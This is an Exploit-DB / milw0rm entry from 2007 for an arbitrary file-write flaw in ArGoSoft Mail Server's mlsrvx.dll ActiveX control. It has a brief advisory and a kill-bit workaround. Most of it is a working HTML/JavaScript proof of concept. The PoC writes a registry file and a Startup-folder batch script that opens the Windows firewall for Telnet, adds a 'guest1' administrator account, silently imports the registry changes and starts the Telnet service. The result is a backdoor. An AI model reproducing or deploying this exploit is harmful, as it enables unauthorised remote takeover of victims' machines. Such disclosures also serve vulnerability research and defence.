Exploit-DB #4234
Description: mlsrvx.dll 1.8.9.1 ArGoSoft Mail Server - Data Write/Code Execution
Type: remote
Platform: windows
Date: 2007-07-27
Author: callAX

Exploit:
<!--
----------------------------------------------------------------------------

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

mlsrvx.dll 1.8.9.1 ArGoSoft Mail Server Arbitrary Data Write & Remote Code Execution
============================================================================ ========

Internal ID: VULWAR2007271.
-----------

Introduction
------------
mlsrvx.dll is a library included in the Program ArGoSoft Mail Server
software package from ArgoSoft Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The Add & SaveToFile methods doesn't check if they're being called from the application,
or malicious users. Remote Attacker could craft a html page and write arbitrary
files.


Impact
------
An attacker could write arbitrary data and execute arbitrary code into the
remote machine.


Workaround
----------
- Activate the Kill bit zero in clsid:3F06B376-8DB8-49D1-8BF8-D4C070EFEBA5
- Unregister mlsrvx.dll using regsvr32.


Timeline
--------
July 27 2007 -- Bug Discovery.
July 27 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------
Telnet service will be started in (2) reboot. Any other kind of exploit could be easily
set up because the attacker can write files and put specific data into these files.
Attacker could also encrypt easily the HTML file using Javascript Techniques, so the code could
be harder to understand. You may need some changes to standard english win32 paths in the provided
Javascript Proof of Concept.


Proof of Concept
---------------->

<HTML>
<BODY>
  <object id=ctrl classid="clsid:{3F06B376-8DB8-49D1-8BF8-D4C070EFEBA5}"></object>
  <object id=ctrl0 classid="clsid:{3F06B376-8DB8-49D1-8BF8-D4C070EFEBA5}"></object>
<SCRIPT>

function DoDirtyJob()
    { 
//----------------------------------------START CREATING REG FILE----------------------------//
    // Setup Path to reg file. This file will be used to set Up Telnet Service to Manual Mode
    // so the next (2) reboots the service will be started.
    RegFile="c:\\windows\\system32\\config.reg"
    // Lines to be written into reg file.
    Line50="REGEDIT4"
    Line51="[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\TlntSvr]"
    Line52='"Start"=dword:0000003'
 
    Line53="[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TlntSvr]"
    Line54='"Start"=dword:0000003'

    ctrl.Add (Line50);
    ctrl.SaveToFile (RegFile);
    ctrl.Add (Line51);
    ctrl.SaveToFile (RegFile);
    ctrl.Add (Line52);
    ctrl.SaveToFile (RegFile);
    ctrl.Add (Line53);
    ctrl.SaveToFile (RegFile);
    ctrl.Add (Line54);
    ctrl.SaveToFile (RegFile);
//---------------------------------------REG FILE IS FINISHED-------------------------------//

//--------------------------------------START CREATING BAT FILE------------------------------//

    // Path and file
    File="c:\\docume~1\\callax\\menudm~1\\progra~1\\dmarra~1\\msservice.bat"

    // Set Up Lines to write into bat file. Basically allowing telnet server, creating one user, adding this user to admins group,
    // and changing values into regedit without user confirmation. Telnet will be started automatically the next (2) reboots.

    Line1="@echo off"
    // Enabling telnet service in the windows firewall.
    Line2="netsh firewall add allowedprogram %SystemRoot%\\system32\\tlntsvr.exe MicrosoftXMLService ENABLE"

    // If needed this line open one port from Windows Firewall
    //OpeningPortLine="netsh firewall add portopening tcp 63555 MicrosoftUpdateService"
    

    Line3="net user guest1 guest1 /add"
    Line4="net localgroup Administrateurs guest1 /add"
    // Changing the regedit WITHOUT user confirmation.
    Line5="regedit /s c:\\windows\\system32\\config.reg"
    Line6="net start telnet"

    // Writing lines into file Using vulnerable method Add.
    ctrl0.Add (Line1);
    // Saving lines into the file using vulnerable method SaveToFile.
    ctrl0.SaveToFile (File);
    ctrl0.Add (Line2);
    ctrl0.SaveToFile (File);
    ctrl0.Add (Line3);
    ctrl0.SaveToFile (File);
    ctrl0.Add (Line4);
    ctrl0.SaveToFile (File);
    ctrl0.Add (Line5);
    ctrl0.SaveToFile (File);
    ctrl0.Add (Line6);
    ctrl0.SaveToFile (File);
}
//---------------------------------------BAT FILE IS FINISHED-------------------------------//
</SCRIPT>
<input language=JavaScript onclick=DoDirtyJob() type=button value="Proof Of
Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-27]